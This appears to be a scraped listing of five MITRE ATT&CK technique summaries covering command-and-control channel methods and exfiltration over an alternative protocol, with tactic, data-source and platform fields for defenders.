Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre